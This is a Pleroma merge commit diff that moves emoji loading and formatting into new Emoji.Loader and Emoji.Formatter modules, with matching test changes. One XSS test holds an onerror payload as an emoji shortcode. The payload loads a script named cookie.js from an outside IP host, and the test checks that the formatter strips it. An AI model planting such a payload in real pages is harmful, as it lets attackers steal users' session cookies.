Merge branch 'issue/1218' into 'develop'

[#1218] Issue/1218

See merge request pleroma/pleroma!1609
This commit is contained in:
lain 2019-09-25 10:26:41 +00:00
commit a150664a0a
15 changed files with 514 additions and 424 deletions

View File

@ -235,7 +235,7 @@ defmodule Mix.Tasks.Pleroma.Emoji do
cwd: tmp_pack_dir cwd: tmp_pack_dir
) )
emoji_map = Pleroma.Emoji.make_shortcode_to_file_map(tmp_pack_dir, exts) emoji_map = Pleroma.Emoji.Loader.make_shortcode_to_file_map(tmp_pack_dir, exts)
File.write!(files_name, Jason.encode!(emoji_map, pretty: true)) File.write!(files_name, Jason.encode!(emoji_map, pretty: true))

View File

@ -4,24 +4,37 @@
defmodule Pleroma.Emoji do defmodule Pleroma.Emoji do
@moduledoc """ @moduledoc """
The emojis are loaded from: This GenServer stores in an ETS table the list of the loaded emojis,
and also allows to reload the list at runtime.
* emoji packs in INSTANCE-DIR/emoji
* the files: `config/emoji.txt` and `config/custom_emoji.txt`
* glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
This GenServer stores in an ETS table the list of the loaded emojis, and also allows to reload the list at runtime.
""" """
use GenServer use GenServer
alias Pleroma.Emoji.Loader
require Logger require Logger
@type pattern :: Regex.t() | module() | String.t()
@type patterns :: pattern() | [pattern()]
@type group_patterns :: keyword(patterns())
@ets __MODULE__.Ets @ets __MODULE__.Ets
@ets_options [:ordered_set, :protected, :named_table, {:read_concurrency, true}] @ets_options [
:ordered_set,
:protected,
:named_table,
{:read_concurrency, true}
]
defstruct [:code, :file, :tags, :safe_code, :safe_file]
@doc "Build emoji struct"
def build({code, file, tags}) do
%__MODULE__{
code: code,
file: file,
tags: tags,
safe_code: Pleroma.HTML.strip_tags(code),
safe_file: Pleroma.HTML.strip_tags(file)
}
end
def build({code, file}), do: build({code, file, []})
@doc false @doc false
def start_link(_) do def start_link(_) do
@ -44,11 +57,14 @@ defmodule Pleroma.Emoji do
end end
@doc "Returns all the emojos!!" @doc "Returns all the emojos!!"
@spec get_all() :: [{String.t(), String.t()}, ...] @spec get_all() :: list({String.t(), String.t(), String.t()})
def get_all do def get_all do
:ets.tab2list(@ets) :ets.tab2list(@ets)
end end
@doc "Clear out old emojis"
def clear_all, do: :ets.delete_all_objects(@ets)
@doc false @doc false
def init(_) do def init(_) do
@ets = :ets.new(@ets, @ets_options) @ets = :ets.new(@ets, @ets_options)
@ -58,13 +74,13 @@ defmodule Pleroma.Emoji do
@doc false @doc false
def handle_cast(:reload, state) do def handle_cast(:reload, state) do
load() update_emojis(Loader.load())
{:noreply, state} {:noreply, state}
end end
@doc false @doc false
def handle_call(:reload, _from, state) do def handle_call(:reload, _from, state) do
load() update_emojis(Loader.load())
{:reply, :ok, state} {:reply, :ok, state}
end end
@ -75,207 +91,11 @@ defmodule Pleroma.Emoji do
@doc false @doc false
def code_change(_old_vsn, state, _extra) do def code_change(_old_vsn, state, _extra) do
load() update_emojis(Loader.load())
{:ok, state} {:ok, state}
end end
defp load do defp update_emojis(emojis) do
emoji_dir_path = :ets.insert(@ets, emojis)
Path.join(
Pleroma.Config.get!([:instance, :static_dir]),
"emoji"
)
emoji_groups = Pleroma.Config.get([:emoji, :groups])
case File.ls(emoji_dir_path) do
{:error, :enoent} ->
# The custom emoji directory doesn't exist,
# don't do anything
nil
{:error, e} ->
# There was some other error
Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}")
{:ok, results} ->
grouped =
Enum.group_by(results, fn file -> File.dir?(Path.join(emoji_dir_path, file)) end)
packs = grouped[true] || []
files = grouped[false] || []
# Print the packs we've found
Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}")
if not Enum.empty?(files) do
Logger.warn(
"Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{
Enum.join(files, ", ")
}"
)
end
emojis =
Enum.flat_map(
packs,
fn pack -> load_pack(Path.join(emoji_dir_path, pack), emoji_groups) end
)
# Clear out old emojis
:ets.delete_all_objects(@ets)
true = :ets.insert(@ets, emojis)
end
# Compat thing for old custom emoji handling & default emoji,
# it should run even if there are no emoji packs
shortcode_globs = Pleroma.Config.get([:emoji, :shortcode_globs], [])
emojis =
(load_from_file("config/emoji.txt", emoji_groups) ++
load_from_file("config/custom_emoji.txt", emoji_groups) ++
load_from_globs(shortcode_globs, emoji_groups))
|> Enum.reject(fn value -> value == nil end)
true = :ets.insert(@ets, emojis)
:ok
end
defp load_pack(pack_dir, emoji_groups) do
pack_name = Path.basename(pack_dir)
pack_file = Path.join(pack_dir, "pack.json")
if File.exists?(pack_file) do
contents = Jason.decode!(File.read!(pack_file))
contents["files"]
|> Enum.map(fn {name, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{name, filename, pack_name}
end)
else
# Load from emoji.txt / all files
emoji_txt = Path.join(pack_dir, "emoji.txt")
if File.exists?(emoji_txt) do
load_from_file(emoji_txt, emoji_groups)
else
extensions = Pleroma.Config.get([:emoji, :pack_extensions])
Logger.info(
"No emoji.txt found for pack \"#{pack_name}\", assuming all #{
Enum.join(extensions, ", ")
} files are emoji"
)
make_shortcode_to_file_map(pack_dir, extensions)
|> Enum.map(fn {shortcode, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
end)
end
end
end
def make_shortcode_to_file_map(pack_dir, exts) do
find_all_emoji(pack_dir, exts)
|> Enum.map(&Path.relative_to(&1, pack_dir))
|> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end)
|> Enum.into(%{})
end
def find_all_emoji(dir, exts) do
Enum.reduce(
File.ls!(dir),
[],
fn f, acc ->
filepath = Path.join(dir, f)
if File.dir?(filepath) do
acc ++ find_all_emoji(filepath, exts)
else
acc ++ [filepath]
end
end
)
|> Enum.filter(fn f -> Path.extname(f) in exts end)
end
defp load_from_file(file, emoji_groups) do
if File.exists?(file) do
load_from_file_stream(File.stream!(file), emoji_groups)
else
[]
end
end
defp load_from_file_stream(stream, emoji_groups) do
stream
|> Stream.map(&String.trim/1)
|> Stream.map(fn line ->
case String.split(line, ~r/,\s*/) do
[name, file] ->
{name, file, [to_string(match_extra(emoji_groups, file))]}
[name, file | tags] ->
{name, file, tags}
_ ->
nil
end
end)
|> Enum.to_list()
end
defp load_from_globs(globs, emoji_groups) do
static_path = Path.join(:code.priv_dir(:pleroma), "static")
paths =
Enum.map(globs, fn glob ->
Path.join(static_path, glob)
|> Path.wildcard()
end)
|> Enum.concat()
Enum.map(paths, fn path ->
tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path)))
shortcode = Path.basename(path, Path.extname(path))
external_path = Path.join("/", Path.relative_to(path, static_path))
{shortcode, external_path, [to_string(tag)]}
end)
end
@doc """
Finds a matching group for the given emoji filename
"""
@spec match_extra(group_patterns(), String.t()) :: atom() | nil
def match_extra(group_patterns, filename) do
match_group_patterns(group_patterns, fn pattern ->
case pattern do
%Regex{} = regex -> Regex.match?(regex, filename)
string when is_binary(string) -> filename == string
end
end)
end
defp match_group_patterns(group_patterns, matcher) do
Enum.find_value(group_patterns, fn {group, patterns} ->
patterns =
patterns
|> List.wrap()
|> Enum.map(fn pattern ->
if String.contains?(pattern, "*") do
~r(#{String.replace(pattern, "*", ".*")})
else
pattern
end
end)
Enum.any?(patterns, matcher) && group
end)
end end
end end

View File

@ -0,0 +1,59 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.Formatter do
alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.Web.MediaProxy
def emojify(text) do
emojify(text, Emoji.get_all())
end
def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
Enum.reduce(emoji, text, fn
{_, %Emoji{safe_code: emoji, safe_file: file}}, text ->
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
{unsafe_emoji, unsafe_file}, text ->
emoji = HTML.strip_tags(unsafe_emoji)
file = HTML.strip_tags(unsafe_file)
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
end)
|> HTML.filter_tags()
end
defp prepare_emoji_html(_emoji, _file, true), do: ""
defp prepare_emoji_html(emoji, file, _strip) do
"<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
end
def demojify(text) do
emojify(text, Emoji.get_all(), true)
end
def demojify(text, nil), do: text
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} ->
String.contains?(text, ":#{emoji}:")
end)
end
def get_emoji(_), do: []
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
|> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end
def get_emoji_map(_), do: []
end

224
lib/pleroma/emoji/loader.ex Normal file
View File

@ -0,0 +1,224 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.Loader do
@moduledoc """
The Loader emoji from:
* emoji packs in INSTANCE-DIR/emoji
* the files: `config/emoji.txt` and `config/custom_emoji.txt`
* glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
"""
alias Pleroma.Config
alias Pleroma.Emoji
require Logger
@type pattern :: Regex.t() | module() | String.t()
@type patterns :: pattern() | [pattern()]
@type group_patterns :: keyword(patterns())
@type emoji :: {String.t(), Emoji.t()}
@doc """
Loads emojis from files/packs.
returns list emojis in format:
`{"000", "/emoji/freespeechextremist.com/000.png", ["Custom"]}`
"""
@spec load() :: list(emoji)
def load do
emoji_dir_path = Path.join(Config.get!([:instance, :static_dir]), "emoji")
emoji_groups = Config.get([:emoji, :groups])
emojis =
case File.ls(emoji_dir_path) do
{:error, :enoent} ->
# The custom emoji directory doesn't exist,
# don't do anything
[]
{:error, e} ->
# There was some other error
Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}")
[]
{:ok, results} ->
grouped =
Enum.group_by(results, fn file ->
File.dir?(Path.join(emoji_dir_path, file))
end)
packs = grouped[true] || []
files = grouped[false] || []
# Print the packs we've found
Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}")
if not Enum.empty?(files) do
Logger.warn(
"Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{
Enum.join(files, ", ")
}"
)
end
emojis =
Enum.flat_map(packs, fn pack ->
load_pack(Path.join(emoji_dir_path, pack), emoji_groups)
end)
Emoji.clear_all()
emojis
end
# Compat thing for old custom emoji handling & default emoji,
# it should run even if there are no emoji packs
shortcode_globs = Config.get([:emoji, :shortcode_globs], [])
emojis_txt =
(load_from_file("config/emoji.txt", emoji_groups) ++
load_from_file("config/custom_emoji.txt", emoji_groups) ++
load_from_globs(shortcode_globs, emoji_groups))
|> Enum.reject(fn value -> value == nil end)
Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
end
defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)}
defp load_pack(pack_dir, emoji_groups) do
pack_name = Path.basename(pack_dir)
pack_file = Path.join(pack_dir, "pack.json")
if File.exists?(pack_file) do
contents = Jason.decode!(File.read!(pack_file))
contents["files"]
|> Enum.map(fn {name, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{name, filename, pack_name}
end)
else
# Load from emoji.txt / all files
emoji_txt = Path.join(pack_dir, "emoji.txt")
if File.exists?(emoji_txt) do
load_from_file(emoji_txt, emoji_groups)
else
extensions = Pleroma.Config.get([:emoji, :pack_extensions])
Logger.info(
"No emoji.txt found for pack \"#{pack_name}\", assuming all #{
Enum.join(extensions, ", ")
} files are emoji"
)
make_shortcode_to_file_map(pack_dir, extensions)
|> Enum.map(fn {shortcode, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
end)
end
end
end
def make_shortcode_to_file_map(pack_dir, exts) do
find_all_emoji(pack_dir, exts)
|> Enum.map(&Path.relative_to(&1, pack_dir))
|> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end)
|> Enum.into(%{})
end
def find_all_emoji(dir, exts) do
dir
|> File.ls!()
|> Enum.flat_map(fn f ->
filepath = Path.join(dir, f)
if File.dir?(filepath) do
find_all_emoji(filepath, exts)
else
[filepath]
end
end)
|> Enum.filter(fn f -> Path.extname(f) in exts end)
end
defp load_from_file(file, emoji_groups) do
if File.exists?(file) do
load_from_file_stream(File.stream!(file), emoji_groups)
else
[]
end
end
defp load_from_file_stream(stream, emoji_groups) do
stream
|> Stream.map(&String.trim/1)
|> Stream.map(fn line ->
case String.split(line, ~r/,\s*/) do
[name, file] ->
{name, file, [to_string(match_extra(emoji_groups, file))]}
[name, file | tags] ->
{name, file, tags}
_ ->
nil
end
end)
|> Enum.to_list()
end
defp load_from_globs(globs, emoji_groups) do
static_path = Path.join(:code.priv_dir(:pleroma), "static")
paths =
Enum.map(globs, fn glob ->
Path.join(static_path, glob)
|> Path.wildcard()
end)
|> Enum.concat()
Enum.map(paths, fn path ->
tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path)))
shortcode = Path.basename(path, Path.extname(path))
external_path = Path.join("/", Path.relative_to(path, static_path))
{shortcode, external_path, [to_string(tag)]}
end)
end
@doc """
Finds a matching group for the given emoji filename
"""
@spec match_extra(group_patterns(), String.t()) :: atom() | nil
def match_extra(group_patterns, filename) do
match_group_patterns(group_patterns, fn pattern ->
case pattern do
%Regex{} = regex -> Regex.match?(regex, filename)
string when is_binary(string) -> filename == string
end
end)
end
defp match_group_patterns(group_patterns, matcher) do
Enum.find_value(group_patterns, fn {group, patterns} ->
patterns =
patterns
|> List.wrap()
|> Enum.map(fn pattern ->
if String.contains?(pattern, "*") do
~r(#{String.replace(pattern, "*", ".*")})
else
pattern
end
end)
Enum.any?(patterns, matcher) && group
end)
end
end

View File

@ -3,10 +3,8 @@
# SPDX-License-Identifier: AGPL-3.0-only # SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Formatter do defmodule Pleroma.Formatter do
alias Pleroma.Emoji
alias Pleroma.HTML alias Pleroma.HTML
alias Pleroma.User alias Pleroma.User
alias Pleroma.Web.MediaProxy
@safe_mention_regex ~r/^(\s*(?<mentions>(@.+?\s+){1,})+)(?<rest>.*)/s @safe_mention_regex ~r/^(\s*(?<mentions>(@.+?\s+){1,})+)(?<rest>.*)/s
@link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui @link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui
@ -100,51 +98,6 @@ defmodule Pleroma.Formatter do
end end
end end
def emojify(text) do
emojify(text, Emoji.get_all())
end
def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
Enum.reduce(emoji, text, fn emoji_data, text ->
emoji = HTML.strip_tags(elem(emoji_data, 0))
file = HTML.strip_tags(elem(emoji_data, 1))
html =
if not strip do
"<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
else
""
end
String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags()
end)
end
def demojify(text) do
emojify(text, Emoji.get_all(), true)
end
def demojify(text, nil), do: text
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end)
end
def get_emoji(_), do: []
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
|> Enum.reduce(%{}, fn {name, file, _group}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end
def get_emoji_map(_), do: []
def html_escape({text, mentions, hashtags}, type) do def html_escape({text, mentions, hashtags}, type) do
{html_escape(text, type), mentions, hashtags} {html_escape(text, type), mentions, hashtags}
end end

View File

@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do
alias Pleroma.Activity alias Pleroma.Activity
alias Pleroma.ActivityExpiration alias Pleroma.ActivityExpiration
alias Pleroma.Conversation.Participation alias Pleroma.Conversation.Participation
alias Pleroma.Formatter alias Pleroma.Emoji
alias Pleroma.Object alias Pleroma.Object
alias Pleroma.ThreadMute alias Pleroma.ThreadMute
alias Pleroma.User alias Pleroma.User
@ -261,12 +261,7 @@ defmodule Pleroma.Web.CommonAPI do
sensitive, sensitive,
poll poll
), ),
object <- object <- put_emoji(object, full_payload, poll_emoji) do
Map.put(
object,
"emoji",
Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji)
) do
preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false
direct? = visibility == "direct" direct? = visibility == "direct"
@ -300,6 +295,15 @@ defmodule Pleroma.Web.CommonAPI do
end end
end end
# parse and put emoji to object data
defp put_emoji(map, text, emojis) do
Map.put(
map,
"emoji",
Map.merge(Emoji.Formatter.get_emoji_map(text), emojis)
)
end
# Updates the emojis for a user based on their profile # Updates the emojis for a user based on their profile
def update(user) do def update(user) do
user = user =

View File

@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
alias Pleroma.Activity alias Pleroma.Activity
alias Pleroma.Config alias Pleroma.Config
alias Pleroma.Conversation.Participation alias Pleroma.Conversation.Participation
alias Pleroma.Emoji
alias Pleroma.Formatter alias Pleroma.Formatter
alias Pleroma.Object alias Pleroma.Object
alias Pleroma.Plugs.AuthenticationPlug alias Pleroma.Plugs.AuthenticationPlug
@ -184,7 +185,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
"name" => option, "name" => option,
"type" => "Note", "type" => "Note",
"replies" => %{"type" => "Collection", "totalItems" => 0} "replies" => %{"type" => "Collection", "totalItems" => 0}
}, Map.merge(emoji, Formatter.get_emoji_map(option))} }, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))}
end) end)
case expires_in do case expires_in do
@ -434,8 +435,8 @@ defmodule Pleroma.Web.CommonAPI.Utils do
end end
def emoji_from_profile(%{info: _info} = user) do def emoji_from_profile(%{info: _info} = user) do
(Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name)) (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
|> Enum.map(fn {shortcode, url, _} -> |> Enum.map(fn {shortcode, %Emoji{file: url}} ->
%{ %{
"type" => "Emoji", "type" => "Emoji",
"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"}, "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},

View File

@ -13,8 +13,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
alias Pleroma.Bookmark alias Pleroma.Bookmark
alias Pleroma.Config alias Pleroma.Config
alias Pleroma.Conversation.Participation alias Pleroma.Conversation.Participation
alias Pleroma.Emoji
alias Pleroma.Filter alias Pleroma.Filter
alias Pleroma.Formatter
alias Pleroma.HTTP alias Pleroma.HTTP
alias Pleroma.Notification alias Pleroma.Notification
alias Pleroma.Object alias Pleroma.Object
@ -140,7 +140,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
user_info_emojis = user_info_emojis =
user.info user.info
|> Map.get(:emoji, []) |> Map.get(:emoji, [])
|> Enum.concat(Formatter.get_emoji_map(emojis_text)) |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text))
|> Enum.dedup() |> Enum.dedup()
info_params = info_params =
@ -333,7 +333,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
defp mastodonized_emoji do defp mastodonized_emoji do
Pleroma.Emoji.get_all() Pleroma.Emoji.get_all()
|> Enum.map(fn {shortcode, relative_url, tags} -> |> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} ->
url = to_string(URI.merge(Web.base_url(), relative_url)) url = to_string(URI.merge(Web.base_url(), relative_url))
%{ %{

View File

@ -3,6 +3,7 @@
# SPDX-License-Identifier: AGPL-3.0-only # SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Metadata.Utils do defmodule Pleroma.Web.Metadata.Utils do
alias Pleroma.Emoji
alias Pleroma.Formatter alias Pleroma.Formatter
alias Pleroma.HTML alias Pleroma.HTML
alias Pleroma.Web.MediaProxy alias Pleroma.Web.MediaProxy
@ -13,7 +14,7 @@ defmodule Pleroma.Web.Metadata.Utils do
|> HtmlEntities.decode() |> HtmlEntities.decode()
|> String.replace(~r/<br\s?\/?>/, " ") |> String.replace(~r/<br\s?\/?>/, " ")
|> HTML.get_cached_stripped_html_for_activity(object, "metadata") |> HTML.get_cached_stripped_html_for_activity(object, "metadata")
|> Formatter.demojify() |> Emoji.Formatter.demojify()
|> Formatter.truncate() |> Formatter.truncate()
end end
@ -23,7 +24,7 @@ defmodule Pleroma.Web.Metadata.Utils do
|> HtmlEntities.decode() |> HtmlEntities.decode()
|> String.replace(~r/<br\s?\/?>/, " ") |> String.replace(~r/<br\s?\/?>/, " ")
|> HTML.strip_tags() |> HTML.strip_tags()
|> Formatter.demojify() |> Emoji.Formatter.demojify()
|> Formatter.truncate(max_length) |> Formatter.truncate(max_length)
end end

View File

@ -569,7 +569,7 @@ keeping it in cache for #{div(cache_ms, 1000)}s")
# If there's no emoji.txt, assume all files # If there's no emoji.txt, assume all files
# that are of certain extensions from the config are emojis and import them all # that are of certain extensions from the config are emojis and import them all
pack_extensions = Pleroma.Config.get!([:emoji, :pack_extensions]) pack_extensions = Pleroma.Config.get!([:emoji, :pack_extensions])
Pleroma.Emoji.make_shortcode_to_file_map(dir_path, pack_extensions) Pleroma.Emoji.Loader.make_shortcode_to_file_map(dir_path, pack_extensions)
end end
end end
end end

View File

@ -239,11 +239,9 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do
def emoji(conn, _params) do def emoji(conn, _params) do
emoji = emoji =
Emoji.get_all() Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc ->
|> Enum.map(fn {short_code, path, tags} -> Map.put(acc, code, %{image_url: file, tags: tags})
{short_code, %{image_url: path, tags: tags}}
end) end)
|> Enum.into(%{})
json(conn, emoji) json(conn, emoji)
end end

View File

@ -0,0 +1,64 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji
alias Pleroma.Emoji.Formatter
use Pleroma.DataCase
describe "emojify" do
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji =
{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
"https://placehold.it/1x1"
}
|> Pleroma.Emoji.build()
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
end
end
describe "get_emoji" do
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox",
%Emoji{
code: "firefox",
file: "/emoji/Firefox.gif",
tags: ["Gif", "Fun"],
safe_code: "firefox",
safe_file: "/emoji/Firefox.gif"
}}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
end
end

View File

@ -0,0 +1,83 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.LoaderTest do
use ExUnit.Case, async: true
alias Pleroma.Emoji.Loader
describe "match_extra/2" do
setup do
groups = [
"list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
"wildcard folder": "/emoji/custom/*/file.png",
"wildcard files": "/emoji/custom/folder/*.png",
"special file": "/emoji/custom/special.png"
]
{:ok, groups: groups}
end
test "config for list of files", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/first_file.png")
|> to_string()
assert group == "list of files"
end
test "config with wildcard folder", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/some_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard folder and subfolders", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard files", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config with wildcard files and subfolders", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config for special file", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/special.png")
|> to_string()
assert group == "special file"
end
test "no mathing returns nil", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/some_undefined.png")
refute group
end
end
end

View File

@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list [emoji | _others] = emoji_list
{code, path, tags} = emoji {code, %Emoji{file: path, tags: tags}} = emoji
assert tuple_size(emoji) == 3 assert tuple_size(emoji) == 2
assert is_binary(code) assert is_binary(code)
assert is_binary(path) assert is_binary(path)
assert is_list(tags) assert is_list(tags)
@ -24,87 +24,12 @@ defmodule Pleroma.EmojiTest do
test "random emoji", %{emoji_list: emoji_list} do test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list) emoji = Enum.random(emoji_list)
{code, path, tags} = emoji {code, %Emoji{file: path, tags: tags}} = emoji
assert tuple_size(emoji) == 3 assert tuple_size(emoji) == 2
assert is_binary(code) assert is_binary(code)
assert is_binary(path) assert is_binary(path)
assert is_list(tags) assert is_list(tags)
end end
end end
describe "match_extra/2" do
setup do
groups = [
"list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
"wildcard folder": "/emoji/custom/*/file.png",
"wildcard files": "/emoji/custom/folder/*.png",
"special file": "/emoji/custom/special.png"
]
{:ok, groups: groups}
end
test "config for list of files", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/first_file.png")
|> to_string()
assert group == "list of files"
end
test "config with wildcard folder", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/some_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard folder and subfolders", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard files", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config with wildcard files and subfolders", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config for special file", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/special.png")
|> to_string()
assert group == "special file"
end
test "no mathing returns nil", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/some_undefined.png")
refute group
end
end
end end

View File

@ -225,6 +225,27 @@ defmodule Pleroma.FormatterTest do
assert expected_text =~ "how are you doing?" assert expected_text =~ "how are you doing?"
end end
test "it can parse mentions and return the relevant users" do
text =
"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
o = insert(:user, %{nickname: "o"})
jimm = insert(:user, %{nickname: "jimm"})
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme = insert(:user, %{nickname: "archaeme"})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
expected_mentions = [
{"@archaeme", archaeme},
{"@archaeme@archae.me", archaeme_remote},
{"@gsimg", gsimg},
{"@jimm", jimm},
{"@o", o}
]
assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
end
end end
describe ".parse_tags" do describe ".parse_tags" do
@ -242,69 +263,6 @@ defmodule Pleroma.FormatterTest do
end end
end end
test "it can parse mentions and return the relevant users" do
text =
"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
o = insert(:user, %{nickname: "o"})
jimm = insert(:user, %{nickname: "jimm"})
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme = insert(:user, %{nickname: "archaeme"})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
expected_mentions = [
{"@archaeme", archaeme},
